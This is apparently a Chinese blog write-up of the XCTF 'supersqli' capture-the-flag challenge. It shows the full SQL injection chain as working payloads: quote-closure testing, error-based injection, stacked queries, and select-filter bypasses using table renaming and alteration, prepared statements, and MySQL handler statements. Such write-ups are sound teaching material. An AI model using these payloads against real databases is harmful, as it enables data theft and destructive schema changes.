攻防世界supersqli做题思路(堆叠注入,select绕过)

题目来源:https://adworld.xctf.org.cn/challenges

1.闭合方式测试

打开题目,在已知为sql注入时,先测试闭合方式,输入1\

回显报错为

发现报错,接着尝试1' 和 1" 测试出闭合方式为单引号

2.通过order by 或 group by 二分测试列数,最后测试出为2列

3.基本的注入思路尝试注入

1' union select 1,2#

提示以上这些均被过滤掉,但没过滤extractvalue,可尝试报错注入

1' and (extractvalue(1,concat(0x7e,database())))#

得到表名为 supersqli

在尝试大小写,双写,加注释也没能绕过select,尝试堆叠注入

4.堆叠注入

利用show,desc语句找出flag所在位置

1';show databases;# 所有数据库

1';show tables;# 所有表名

1';desc `1919810931114514`;# 或 1';show columns from `1919810931114514`;#  

1';desc `words`;# 或 1';show columns from `words`;#

发现flag在1919810931114514表中,id在words中

查数据(select绕过思路)

1.改名绕过(rename和alter)

mysql中rename只能重命名表和库,重命名列需要alter语句

1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(66);#

1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(66);#

接着访问1' or 1#即可得到flag

测试可知,words中的id有正常回显,可把flag所在的表和列改名为id所在的表和列

2.预编译(已知目标数据所在的具体库名表名,现在只差提取出来)

语法:

set用于设置变量名和值

prepare用于预备一个语句,并赋予名称,以后可以引用该语句

execute执行语句

deallocate prepare用来释放掉预处理的语句

1';set @sqli = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sqli;EXECUTE stmt;#

提示

strstr可通过更改大小写绕过所以最终payload为

1';Set @sqli = CONCAT('se','lect flag from `1919810931114514`;');Prepare stmt from @sqli;EXECUTE stmt;#

拆开为

1';

set @sqli =CONCAT('se','lect flag from `1919810931114514`;');

prepare stmt from @sqli

EXECUTE stmt;

#

3.mysql特有的handler语句。

handler相关语法:

https://blog.csdn.net/qq_43427482/article/details/109898934

payload:

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

参考文章:

2019强网杯"随便注"学习 - 知乎 (zhihu.com)

[强网杯 2019]随便注 - GTX690M - 博客园 (cnblogs.com)

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值